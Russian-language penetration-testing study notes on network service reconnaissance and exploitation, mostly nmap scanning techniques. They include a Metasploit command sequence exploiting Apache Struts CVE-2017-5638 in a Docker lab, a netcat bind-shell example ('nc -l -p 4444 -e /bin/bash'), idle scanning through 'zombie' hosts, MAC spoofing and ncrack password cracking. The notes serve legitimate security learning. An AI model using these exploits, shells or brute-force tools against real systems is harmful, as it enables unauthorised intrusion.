# Уязвимости сетевых сервисов

# Общая информация

**Определения**

Фреймворк эксплуатации — платформа для создания и отладки эксплойтов. Кроме того, включает в себя базу опкодов, архив шеллкодов и информацию по исследованиям информационной безопасности.

Уязвимость нулевого дня — термин, обозначающий неустранённые уязвимости.

Шелл-код — двоичный исполняемый код, передающий управление консоли (/bin/sh, cmd.exe). Шелл-код может быть использован как полезная нагрузка эксплойта, обеспечивающая доступ к консоли.

Опкод — код, представляющий операцию или команду, выполняемую процессором компьютера. Он является непосредственной инструкцией для выполнения определенного действия, такого как сложение, умножение, сравнение и т.д.

**Типовые проблемы сетевых сервисов:**

- Проблемы конфигурации
- Слабые пароли
- Неиспользование шифрования
- Известные уязвимости

**Этапы анализа сервисов:**

- Поиск существующих сервисов
- Получение версий сервисов
- Поиск уязвимостей и эксплойтов для них
- Попытки использования эксплойтов

**Поиск эксплойта**

Популярные фреймворки эксплуатации:

- Metasploit Framework (Free): [https://www.metasploit.com/](https://www.metasploit.com/)
- CobaltStrike ($$$): [https://www.cobaltstrike.com/](https://www.cobaltstrike.com/)
- Exploit Pack ($$$): [http://exploitpack.com/](http://exploitpack.com/)
- Core Impact Pro ($$$): [https://www.coresecurity.com/products/core-impact](https://www.coresecurity.com/products/core-impact)

Если есть эксплоит, то:

- разобраться в принципах его работы,
- изучить код эксплойта, прежде чем запускать его,
- донастроить\\дописать эксплоит под свою задачу
- отладить его на своем локальном стенде
- применить эксплоит

**Попытка использования эксплоита**

Обязательно должна быть уверенность в:

- что будет делать эксплоит, как и почему это сработает;
- эксплоит не нарушит работоспособности системы и не изменит ее состояние существенно;
- эксплоит не содержит закладок и “логических бомб”, которые могут быть спрятаны туда злоумышленником;
- после выполнения эксплойта вам не придется применять его второй раз (подготовьтесь к закреплению доступа,
- убедитесь что вы решаете задачу за наименьшее число шагов)

**Доп. информация**

Практика:

- [https://www.revshells.com/](https://www.revshells.com/)
- [Платформа для самостоятельного решения задач и практик](https://tryhackme.com/room/metasploitintro) (раздел, посвященный метасплоит)
- [Знакомство с метасплоит и документация](https://www.kali.org/docs/tools/starting-metasploit-framework-in-kali/)
- [Краткий курс об особенностях и деталях метасплоит от разработчиков](https://www.offensive-security.com/metasploit-unleashed/)
- [Практика сборки и исследования уязвимых стендов](https://github.com/vulhub/vulhub)
- [Задачи на эксплуатацию уязвимостей разного рода, в т.ч. с применение готовых эксплойтов](https://www.vulnhub.com/)

Теория:

- [Nmap гайд](https://nmap.org/book/man.html)

CheatSheets:

- [Nmap все команды и флаги на 2023 г.](https://www.stationx.net/nmap-cheat-sheet/)

Хакерские инструменты:

![](https://ucarecdn.com/ef1ab3d7-9316-47b9-8478-fad27ee89ed2/)

# Тестовый стенд

```
docker run -it --rm -p 1337:8080 --name struts --ulimit nofile=65535:65535 piesecurity/apache-struts2-cve-2017-5638

```

Пример атаки:

```
nmap -Pn -p- -sV 192.168.1.199
msfconsole
search struts showcase
use exploit/multi/http/struts2_code_exec_showcase
info
options
set RHOSTS 192.168.1.199
set RPORT 1337
set TARGETURI /integration/saveGangster.action
set PAYLOAD cmd/unix/generic
set CMD 'cat /flag'
check
exploit
```

# Версия сервиса и ОС

**Определение сервиса на порту**

**Анализ баннера**

У нас есть открытые порты. Но необходимо узнать, что за сервис крутится на нем. Часто сервисы публикуют т н баннер - информацию о себе. Есть сервисы, хранящие данные о сайтах, типа [https://shodan.io](https://shodan.io) [https://zoomeye.org](https://zoomeye.org) которые хранят базу данных. Это называется пассивным сканированием.

Естественно администраторы могут изменять баннер.

Netcat может предоставить данную информацию.

```
nc 172.16.10.11 -v 21
172.16.10.11: inverse host lookup failed: Unknown host
(UNKNOWN) [172.16.10.11] 21 (ftp) open
220 (vsFTPd 3.0.5)

nc 1.1.1.1 -v 22 
some.address.ru [1.1.1.1] 22 (ssh) open
SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.13
```

Ключи nc:

<table id="bkmrk-%D0%A4%D0%BB%D0%B0%D0%B3-%D0%97%D0%BD%D0%B0%D1%87%D0%B5%D0%BD%D0%B8%D0%B5-%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80"><thead><tr><th>Флаг</th><th>Значение</th><th>Пример</th></tr></thead><tbody><tr><td>`-l`</td><td>Слушать (listen) — запускает `nc` в режиме сервера (ожидание входящих подключений)</td><td>`nc -l -p 4444`</td></tr><tr><td>`-p <порт>`</td><td>Указать порт (для прослушивания или исходного подключения)</td><td>`nc -l -p 4444`</td></tr><tr><td>`-v`</td><td>Подробный режим (verbose), показывает процесс соединения</td><td>`nc -vz 8.8.8.8 53`</td></tr><tr><td>`-vv`</td><td>Очень подробный (ещё больше информации)</td><td>`nc -zvv 8.8.8.8 53`</td></tr><tr><td>`-z`</td><td>Сканирование портов (zero-I/O mode: проверка доступности портов без передачи данных)</td><td>`nc -zv 192.168.0.1 20-80`</td></tr><tr><td>`-u`</td><td>Использовать UDP вместо TCP</td><td>`nc -u 192.168.0.10 123`</td></tr><tr><td>`-n`</td><td>Не использовать DNS (работать только с IP, не пытаться резолвить имена)</td><td>`nc -vz -n 192.168.0.1 80`</td></tr><tr><td>`-w <сек>`</td><td>Таймаут соединения</td><td>`nc -vz -w 3 8.8.8.8 53`</td></tr><tr><td>`-q <сек>`</td><td>Закрыть соединение после EOF через указанное время</td><td>`echo hi</td></tr><tr><td>`-k`</td><td>Продолжать слушать после разрыва соединения (серверный режим)</td><td>`nc -lk -p 4444`</td></tr><tr><td>`-e <программа>`</td><td>Запуск программы после подключения (опасный флаг!, часто отключён в безопасных сборках `nc`)</td><td>`nc -l -p 4444 -e /bin/bash`</td></tr></tbody></table>

Сбор информации о баннере:

```bash
#!/bin/bash

FILE="$1"
PORT="$2"

while read -r ip; do
  res=$(echo -e "\n" | nc -v "${ip}" -w 1 "${PORT}" 2> /dev/null)
  if [[ -n "${res}" ]]; then
    echo "Service: ${ip}:${PORT}"
    echo "Banner: ${res}"
  fi
done < "${FILE}"
```

**Анализ http ответа сервера**

При помощи curl с помощью метода head можно получить информацию об http сервере.

```bash
curl --head 172.16.10.10:8081                                                                                          

HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Sat, 30 Aug 2025 08:41:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 7176
Connection: close
```

Приложение whatweb предоставляет расширенную информацию об http сервере. Синтаксис:

```bash
whatweb 172.16.10.10:8081
http://172.16.10.10:8081 [200 OK] Country[RESERVED][ZZ], HTML5, 
HTTPServer[Werkzeug/3.0.1 Python/3.12.3], IP[172.16.10.10], 
Python[3.12.3], Title[Menu], Werkzeug[3.0.1], X-UA-Compatible[ie=edge]

whatweb 172.16.10.10:8081 --log-json=/dev/stdout --quiet | jq
# в формате JSON
```

Т е скомбинировав данные, полученные после сканирования, можно определить некоторые стартовые позиции.

При определении версии сервиса бывает неточным. Дополнительные способы определения версии:

- Подсчет контрольных сумм статичных файлов, для сравнения их с файлами определенной версии (favicon, js код, изображения)
- Исследование изменений в коде и изучение патчей, которые видны из кода веб страниц, сравнение их с версиями кода в репозиториях
- Поиск функций отладки или специальных страниц, раскрывающих информацию о ПО

Также есть базы знаний и инструменты:

- База знаний Common Vulnerabilities and Exposures - [https://cve.mitre.org/](https://cve.mitre.org/)
- Платформа Vulners - [https://vulners.com/](https://vulners.com/)
- База данных эксплойтов от Offensive Security - [https://www.exploit-db.com/](https://www.exploit-db.com/)
- Платформа управления уязвимостями и анализа угроз - [https://vuldb.com/](https://vuldb.com/)

Также могут помочь поисковые движки (google.com), публичные репозитории (github.com), блоги разработчиков ПО, китайский сегмент интернета, и пр.

**Получение информации об операционной системе**

Способ формирования TCP ответа несколько отличаются для разных ОС. Можно определить примерный тип ОС и иногда версию ядра.

Опция -O позволяет проанализировать данную информацию.

```
sudo nmap -O -iL 172-16-10-scanning-hosts.txt 

Nmap scan report for 172.16.10.11
Host is up (0.000038s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http
MAC Address: F6:F2:1D:05:71:02 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
```

Получение данных:

```bash
#!/bin/bash

HOSTS="$*"

if [[ "${EUID}" -ne 0 ]]; then
  echo "Run script with sudo."
  exit 1
fi

if [[ "$#" -eq 0 ]]; then
  echo 'Need at least one IP'
  exit 1
fi

nmap_scan=$(sudo nmap -O ${HOSTS} -oG -)
while read -r line; do
  ip=$(echo "${line}" | awk '{print $2}')
  os=$(echo "${line}" | awk -F'OS: ' '{print $2}' | sed 's/Seq.*//g')
  if [[ -n "${ip}" ]] && [[ -n "${os}" ]]; then
    echo "IP: ${ip} OS: ${os}"
  fi
done <<< "${nmap_scan}"
```

Также можно проанализировать версию, обратившись к 445 порту (Windows, Linux).

```bash
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > set RHOSTS 192.168.1.200-210
RHOSTS => 192.168.1.200-210
msf auxiliary(smb_version) > set THREADS 11
THREADS => 11
msf auxiliary(smb_version) > run
```

В случае подключенной базы, информация будет в hosts.

**Скрытое сканирование**

При помощи модуля auxiliary/scanner/ip/ipidseq можно найти машины со старой уязвимостью в нумеровании TCP пакетов, и затем использовать их как зомби.

```
msf > use auxiliary/scanner/ip/ipidseq
msf auxiliary(ipidseq) > show options

Module options (auxiliary/scanner/ip/ipidseq):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      80               yes       The target port
   SNAPLEN    65535            yes       The number of bytes to capture
   THREADS    1                yes       The number of concurrent threads
   TIMEOUT    500              yes       The reply read timeout in milliseconds

msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(ipidseq) > set THREADS 50
THREADS => 50
msf auxiliary(ipidseq) > run

[*] 192.168.1.1's IPID sequence class: All zeros
[*] 192.168.1.2's IPID sequence class: Incremental!
[*] 192.168.1.10's IPID sequence class: Incremental!
[*] 192.168.1.144's IPID sequence class: Incremental!
```

Incremental означает возможность использования. Сканируем от имени зомбарей:

```
msf auxiliary(ipidseq) > nmap -Pn -sI 192.168.1.109 192.168.1.114
[*] exec: nmap -Pn -sI 192.168.1.109 192.168.1.114

Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-14 05:51 MDT
Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental
Interesting ports on 192.168.1.114:
Not shown: 996 closed|filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-term-serv
MAC Address: 00:0C:29:41:F2:E8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 5.56 seconds
```

[Определение MSSQL](https://www.offsec.com/metasploit-unleashed/hunting-mssql/)

В metasploit много сканеров на различные сервисы, список

```
use auxiliary/scanner/
```

# NMAP

Open source приложение для сканирования сети.

**Общие флаги**

<table border="1" id="bkmrk-nmap--e-eth2-scanme." style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 30.0292%;"></col><col style="width: 69.9708%;"></col></colgroup><tbody><tr><td>nmap -e eth2 scanme.nmap.org</td><td>Конкретный интерфейс</td></tr><tr><td>nmap -A &lt;target&gt;</td><td>Агрессивный режим (объединение режимов определения версии ОС, версий сервисов, скрипт сканирования, трассировки)</td></tr><tr><td>-n</td><td>отключить обратное разрешение IP в DNS</td></tr><tr><td>--data-length &lt;length&gt;</td><td>Добавка случайных байтов информации к каждому пакету</td></tr><tr><td>nmap -iL targets.txt</td><td>Запуск с источниками из файла.

Могут разделяться пробелом, табуляцией или переводом строки. Поддерживает диапазоны

192.168.1.20-30

192.168.\*

192.168.0/24

scanme.nmap.org/24

комментарии

```
cat targets.txt 
   # FTP servers 
   192.168.10.3
```

</td></tr><tr><td>nmap 192.168.1.1-255 --exclude 192.168.1.1</td><td>Исключение из диапазона</td></tr><tr><td>nmap --exclude-file dontscan.txt 192.168.1.1/24</td><td>Исключение адресов из файла</td></tr><tr><td>--randomize-hosts</td><td>перемешивание последовательности узлов</td></tr><tr><td>nmap -iR 100</td><td>100 случайных адресов

-iR 0 это все адреса.

</td></tr><tr><td>http-max-cache-size=0</td><td>Отключение кэша (по умолчанию включен)

</td></tr><tr><td>-sL</td><td>имя сетевого узла

</td></tr></tbody></table>

**Таймауты**

<table border="1" id="bkmrk---max-rtt-timeout-%D0%9C%D0%B0" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 30.0292%;"></col><col style="width: 69.9708%;"></col></colgroup><tbody><tr><td>--max-rtt-timeout</td><td>Максимальное время ожидания ответа. По умолчанию несколько секунд.

```
sudo nmap -sU --max-rtt-timeout 100ms host.ru
```

</td></tr><tr><td> --host-timeout</td><td> Ограничение времени сканирования всего хоста. ```
sudo nmap -sU --host-timeout 5m host.ru
```

</td></tr><tr><td> --max-retries</td><td> Максимальное количество повторных попыток. ```
sudo nmap -sU --max-rtt-timeout 100ms --max-retries 0 host.ru
```

</td></tr><tr><td>-T4</td><td>Время задержки (ожидания) между запросами, 0 - очень много, 3 - по умолчанию, 5 - очень быстро</td></tr></tbody></table>

**Поиск хостов**

NMAP использует несколько техник пинга с использованием разных протоколов.

-PS/PA/PU/PY \[portlist\]: TCP SYN/ACK, UDP or SCTP discovery to given ports  
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes  
-PO \[protocol list\]: IP protocol ping

Номера протоколов поверх IP

<table border="1" id="bkmrk-1%C2%A0%C2%A0-icmp-2-igmp-4-ip" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td>1 </td><td>ICMP</td></tr><tr><td>2</td><td>IGMP</td></tr><tr><td>4</td><td>IP-in-IP</td></tr><tr><td>6</td><td>TCP</td></tr><tr><td>17</td><td>UDP</td></tr><tr><td>132</td><td>SCTP</td></tr></tbody></table>

Для остальных протоколов только будут установлены IP заголовки.

Все техники по умолчанию отправляют пустые запросы.

<table border="1" id="bkmrk-%D0%9A%D0%BB%D1%8E%D1%87-%D0%9E%D0%BF%D0%B8%D1%81%D0%B0%D0%BD%D0%B8%D0%B5--sn-%3Ct" style="border-collapse: collapse; width: 100%; height: 1510.8px;"><colgroup><col style="width: 29.4644%;"></col><col style="width: 70.6548%;"></col></colgroup><thead><tr style="height: 29.7969px;"><td class="align-center" style="height: 29.7969px;">Ключ</td><td class="align-center" style="height: 29.7969px;">Описание</td></tr></thead><tbody><tr style="height: 525.359px;"><td style="height: 525.359px;">-sn &lt;target&gt;</td><td style="height: 525.359px;">Ping-сканирование сети.

```bash
nmap -sn 192.168.1.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 09:02 +08
Nmap scan report for 192.168.1.1
Host is up (0.00044s latency).
MAC Address: 00:18:E7:F3:65:EE (Cameo Communications)
```

Отправляются разные пакеты в зависимости от привилегий пользователя.

С опцией traceroute должен показывать дополнительные маршруты, но это не то же самое что traceroute. У меня до всех тестовых адресов получился один шаг

```bash
nmap -sn --traceroute microsoft.com                                                                                    
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 11:03 +08
Nmap scan report for microsoft.com (13.107.246.77)
Host is up (0.00055s latency).
Other addresses for microsoft.com (not scanned): 
2603:1020:201:10::10f 2603:1010:3:3::5b 
2603:1030:b:3::152 2603:1030:20e:3::23c 2603:1030:c02:8::14

TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   0.53 ms 13.107.246.77

Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds
```

</td></tr><tr style="height: 220.156px;"><td style="height: 220.156px;">nmap -sn -PS &lt;target&gt;</td><td style="height: 220.156px;">TCP SYN сканирование. ```
nmap -sn -PS 192.1.1/24
```

SYN пакет на 80 порт, если порт закрыт - приходит RST, если открыт - SYN/ACK. Потом отправляем RST пакет.

Фаер может блокировать RST для закрытых сервисов, поэтому можно донастроить скан

```
nmap -sn -PS80,100-1000 <target>
```

Но SYN пакеты могут блокироваться, поэтому следующий способ

</td></tr><tr style="height: 133.375px;"><td style="height: 133.375px;">nmap -sn -PA &lt;target&gt;</td><td style="height: 133.375px;">TCP ACK сканирование.

Пустой TCP-пакет с флагом ACK, на порт 80 (по умолчанию).  
Если хост отключен, он не должен отвечать на этот запрос. Иначе RST и будет считаться подключенным к сети.

```
nmap -sn -PA22,1000-65535 <target>
```

</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">nmap -sn -PU &lt;target&gt;</td><td style="height: 29.7969px;">UDP сканирование. Порт 40125. Аналогично настройка портов</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;"> nmap -sn -PE &lt;target&gt;</td><td style="height: 29.7969px;">Стандартное Echo сканирование.</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">nmap -sn -PP &lt;target&gt;</td><td style="height: 29.7969px;">Echo timestamp сканирование.</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">nmap -sn -PM &lt;target&gt;</td><td style="height: 29.7969px;">Echo reply сканирование.</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">nmap -sn -PY &lt;target&gt;</td><td style="height: 29.7969px;">SCTP INIT сканирование. Аналогичная настройка портов.</td></tr><tr style="height: 116.578px;"><td style="height: 116.578px;">nmap -sn -PO &lt;target&gt;</td><td style="height: 116.578px;">IP сканирование.

```
nmap -sn -PO1,2,17 scanme.nmap.org
```

Здесь 1, 2, 17 - номера протоколов

</td></tr><tr style="height: 46.5938px;"><td style="height: 46.5938px;">nmap -sn -PO --data-length 100 scanme.nmap.org</td><td style="height: 46.5938px;">\--data-length 100 генерация случайных данных

</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">nmap -sn -PR &lt;target&gt;</td><td style="height: 29.7969px;">ARP ping

</td></tr><tr style="height: 80.1875px;"><td style="height: 80.1875px;">nmap -sn -PR --spoof-mac &lt;mac address&gt; &lt;target&gt;</td><td style="height: 80.1875px;">Подмена MAC-адреса может позволить нам подделать источник наших подключений и может быть полезна для обхода систем идентификации. MAC-адрес можно подделать  
во время проверки ARP-связи. Используйте --spoof-mac для установки нового MAC-адреса:

</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">-sn --script dns-brute bobrobotirk.ru</td><td style="height: 29.7969px;">Брутфорс по доменным именам</td></tr><tr><td>-sW</td><td>Похож на ACK, определяет статус порта анализируя поле TCP Window в RST ответе. Открытые больше 0, закрытые - 0.</td></tr><tr><td>-sI</td><td>Сканирование от лица другого узла. Старые системы увеличивают IP-ID на 1 с каждым новым исходящим пакетом. Это ключевая уязвимость.

<div>Хост должен мало использоваться и иметь предсказуемый IP-ID.</div><div>Процесс сканирования одного порта:</div>- Запрос "зомби" (например, SYN-пакет), сохраняется IP-ID ответа (например X)
- Отправка пакета от имени "зомби" на целевой порт сканируемой машины. Если порт открыт, цель ответит "зомби" пакетом SYN/ACK. Если порт закрыт, цель ответит "зомби" пакетом RST.
- Повторный запрос "зомби" и анализ нового значения IP-ID. X+1 означает, что "зомби" не отправил ни одного своего пакета. Следовательно, порт на цели фильтруется (брандмауэр молча отбросил пакет). X+2 означает, что "зомби" получил от цели ответный пакет и ответил на него своим RST. Вывод: порт на цели открыт или закрыт.

<div>Чтобы отличить открытый порт от закрытого, сканер анализирует, на какой именно пакет отреагировал "зомби".</div><div>  
</div><div>Причины использования: анонимность и обход правил фильтрации (если "зомби" доверенный) </div>```
sudo nmap -sI zombie.example.com target.example.com
```

<div>**Поиск зомби:**</div><div>Скрипт ipidseq. </div>```
sudo nmap -sS -p 80 --script ipidseq <target>
```

<div>По умолчанию 6 пакетов. Параметр --script-args ipidseq.probes=10 улучшает качество проверки.</div><div>Результат:</div><div>- Incremental! Подходит. IP-ID увеличивается на постоянную величину.
- All zeros или Constant Не подходит. В поле IP-ID всегда ноль/константа. В некоторых старых системах или специфичном сетевом оборудовании.
- Random Не подходит.
- Broken incremental! Увеличивается на непостоянную величину (например, +1, +2, +1, +3). Не подходит./подождать, может успокоится.

</div><div>Проверил роутеры DIR-650 и ASUS RT-N18U. На первом Incremental, на втором - All zeros. Пакеты, идущие сквозь, не влияют. При сканировании на целевом хосте в качестве порта источника видится http или https порт зомби.</div></td></tr><tr style="height: 150.172px;"><td style="height: 150.172px;">-sn --script broadcast-ping 192.168.0.1/24</td><td style="height: 150.172px;">Броадкастовый пинг. Отправляется броадкастовый запрос и ждем результат.

broadcast-ping.num\_probes=5 количество пингов

```
nmap --script broadcast-ping --script-args broadcast-ping.num_probes=5
```

broadcast-ping.timeout=10000 таймаут

broadcast-ping.interface=wlan3 интерфейс

\--script-args=newtargets позволяет просканировать хосты, от которых получен ответ

\--script-args max-newtargets=3 ограничивает кол-во сканируемых хостов

</td></tr><tr><td>nmap --script broadcast</td><td>Запускает все скрипты категории broadcast

</td></tr></tbody></table>

Можно комбинировать технологии

```
nmap -sn --send-ip -PS21,22,23,25,80,445,443,3389,8080 -PA80,443,8080 -PO1,2,4,6 -PU631,16
```

**Эффективность технологий сканирования** ([оригинал](https://www.bamsoftware.com/wiki/Nmap/EffectivenessOfPingProbes))

Интересная статья. Проба эффективности различных комбинаций технологий на основании 1000 случайных сетей. Был сформирован список и приведены результаты различных технологий и комбинаций с процентом результативности. 100% результат - найденные любой технологией хосты. А затем - поиск комбинации технологий с наибольшим процентом попадания и времени на каждую вариацию.

Вывод, который я для себя сделал на основе данных:

- Стартовый поиск адресов и портов важная процедура. Однако только один из компонентов.
- Психология и поставленные задачи критичны. Направленные и ненаправленные взломы происходят по разным алгоритмам.
- Ненаправленные взломы были, есть и будут. Оно дает шум в логах, за которым может прятаться направленный хакер.
- Время жизни важно. Сервис "на месяц" отличается от "на год".
- Одна технология дает в лучшем случае 50-60% результат. Однако непопулярные технологии могут показать защищенные от явного сканирования хосты, хотя не справиться с простыми. Поэтому либо тьма времени + высокая вероятность обнаружения, либо результат в 70-80 процентов.
- Эти данные масштабного сканирования. Эффективность от затраченного времени растет нелинейно. В районе 90% каждый дополнительный процент стоит дней.
- В случае направленного теста каждый фактор, предоставляющий дополнительную информацию (например ОС, возможные сервисы, ожидаемая степень защиты) увеличивает шансы и скорость. Возможно, нужен некий справочник/сервис, агрегирующий данные по удачным вариантам в зависимости от дополнительных условий.
- Нестандартные порты рулят, но их нужно правильно прятать. Это ограничивает ненаправленных хакеров.
- Логирование + проактивная защита как минимум поможет увидеть попытки. Однако необходим баланс между стоимостью защиты (фильтрации) и ценностью информации
- Тупое сканирование будет незаметно только в системах с отсутствием защиты.
- Данные 2009 года, сейчас рулят облака и ситуация думаю слегка поменялась.
- Возможно общедоступные сервисы стоит выносить в отдельный пул

**Открытые порты**

Без параметров, только адрес. По умолчанию сканирует 1024 первых порта. Статусы портов:

<table border="1" id="bkmrk-open-%D0%A1%D0%B5%D1%80%D0%B2%D0%B8%D1%81-%D0%B4%D0%BE%D1%81%D1%82%D1%83%D0%BF%D0%B5%D0%BD" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 13.9425%;"></col><col style="width: 86.0575%;"></col></colgroup><tbody><tr><td>Open</td><td>Сервис доступен</td></tr><tr><td>Closed</td><td>Запросы были получены, но был сделан вывод, что на этом порту не запущена служба.</td></tr><tr><td>Filtered</td><td>Не было признаков того, что запросы были получены, и состояние не удалось установить. Это также указывает на то, что запросы отбрасываются в результате какой-либо фильтрации.</td></tr><tr><td>Unfiltered</td><td>Запросы были получены, но состояние не удалось установить. Это состояние возможно только при ACK сканировании.</td></tr><tr><td>Open/Filtered</td><td>Запросы отфильтрованы или порт открыт, но не удалось установить состояние.</td></tr><tr><td>Close/Filtered</td><td>Запросы отфильтрованы или порт закрыт, и не удалось установить состояние.</td></tr></tbody></table>

Последовательность задач при сканировании портов:

- Преобразование DNS имени в IP. Можно указать альтернативный dns сервер. ```
    nmap --dns-servers 8.8.8.8,8.8.4.4 scanme.nmap.org
    ```
- Проверка, поднят ли хост. Чтобы пропустить: ```
    nmap -Pn scanme.nmap.org
    ```
- Обратное преобразование IP в DNS. Чтобы пропустить: ```
    nmap -n scanme.nmap.org
    ```
- Затем SYN (привилегированный пользователь) или TCP connect (обычный пользователь) сканирование. SYN быстрее. Однако есть еще способы сканирования портов.

Диапазоны портов:

<table border="1" id="bkmrk-nmap--p80%2C443-localh" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 31.1073%;"></col><col style="width: 68.8927%;"></col></colgroup><tbody><tr><td>--top-ports N</td><td>Заданное количество портов по рейтингу популярности.</td></tr><tr><td>nmap -p80,443 localhost</td><td>Явный список портов</td></tr><tr><td>nmap -p1-100 localhost</td><td>Диапазон</td></tr><tr><td>nmap -p- localhost</td><td>Все порты</td></tr><tr><td>nmap -pT:25,U:53 &lt;target&gt;</td><td>Порты с протоколом</td></tr><tr><td>nmap -p smtp &lt;target&gt;</td><td>По имени сервиса</td></tr><tr><td>nmap -p smtp\* &lt;target&gt;</td><td>По шаблону имени сервиса</td></tr><tr><td>nmap -p\[1-65535\] &lt;target&gt;</td><td>Только порты, указанные в nmap в виде сервиса</td></tr></tbody></table>

**Определение типа сервиса и версии**

За счет базы данных "отпечатков" сервисов и ОС. Отправляются пробники, определенные в nmap-service-probes, в список предполагаемых открытых портов. Пробники выбираются в зависимости от того, насколько вероятно, что они могут быть  
использованы для идентификации службы.

<table border="1" id="bkmrk-nmap--sv-%3Ctarget%3E-%D0%92%D0%B5" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 33.512%;"></col><col style="width: 66.6072%;"></col></colgroup><tbody><tr><td>nmap -sV &lt;target&gt;</td><td>Версии сервисов</td></tr><tr><td>nmap -sV --version-intensity 9 &lt;target&gt;</td><td>Уровень интенсивности поиска, 0-9</td></tr><tr><td>nmap -O &lt;target&gt;</td><td>Версия ОС. В привилегированном режиме.</td></tr><tr><td>nmap -O --osscan-guess &lt;target&gt;</td><td>Попытка угадать ОС</td></tr><tr><td>nmap -O --osscan-limit &lt;target&gt;</td><td>Вывод информации об ОС только а случае абсолютной уверенности</td></tr><tr><td>nmap -O -v 192.168.0.1</td><td>Расширенная информация об ОС</td></tr></tbody></table>

"Отпечатки" могут настраиваться для улучшения производительности.

 **Дополнительные утилиты**

**nping** модификация ping пакетов. Мощный инструмент для тестирования фаерволов.

<table border="1" id="bkmrk---icmp-%D1%82%D0%B8%D0%BF-%D0%BF%D0%B0%D0%BA%D0%B5%D1%82%D0%B0--c" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 40.0301%;"></col><col style="width: 59.9699%;"></col></colgroup><tbody><tr><td>--icmp</td><td>тип пакета</td></tr><tr><td>-c 1</td><td>количество пакетов</td></tr><tr><td>--icmp-type 0 --icmp-code 0</td><td>тип и код пакета</td></tr><tr><td>--source-ip 192.168.0.5 --dest-ip 192.168.0.10</td><td>источник и приемник</td></tr><tr><td>--icmp-id 520</td><td>идентификатор</td></tr><tr><td>--icmp-seq 0</td><td>номер пакета</td></tr><tr><td>--data-string 'ping'</td><td>данные внутри</td></tr></tbody></table>

**Zenmap** графическая утилита, удобно хранить настройки параметров nmap

**ncat** Выполнение внешних команд различными способами после успешного установления соединения. Одним из способов является использование Lua-скриптов, которые действуют как программы и позволяют пользователям выполнять любые задачи.

```
ncat --lua-exec <path to Lua script> --listen 80
```

\--sh-exec выполняет консольные команды

**Ncrack** взлом простых паролей

&lt;\[service-name\]&gt;://&lt;target&gt;:&lt;\[port-number\]&gt;

ncrack ssh://&lt;target&gt;:&lt;port&gt;

<table border="1" id="bkmrk--u-%D1%84%D0%B0%D0%B9%D0%BB%D1%8B-%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD%D0%BE%D0%B2--p-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 40.862%;"></col><col style="width: 59.138%;"></col></colgroup><tbody><tr><td>-U</td><td>файлы логинов</td></tr><tr><td>-P</td><td>файлы паролей</td></tr><tr><td>ncrack --save cracking-session &lt;\[service-name\]&gt;://&lt;target&gt;:&lt;\[port-number\]&gt;</td><td>сохранить незавершенный процесс</td></tr><tr><td>ncrack --resume cracking-session &lt;\[service-name\]&gt;://&lt;target&gt;:&lt;\[port-number\]&gt;</td><td>продолжить</td></tr></tbody></table>

**Rainmap Lite** запуск сканирования из браузера

# NMAP Script Engine (NSE)

Расширение функционала за счет LUA скриптов. Запуск всех скриптов в соответствии с правилами внутри:

```
nmap -sC <target>
```

**Размещение скриптов**

/usr/share/nmap/scripts Можно вывести названия скриптов командой

```
ls /usr/share/nmap/scripts/
```

**Типы скриптов**

Количество выполняемых скриптов зависит от правил хоста или порта для этих скриптов.

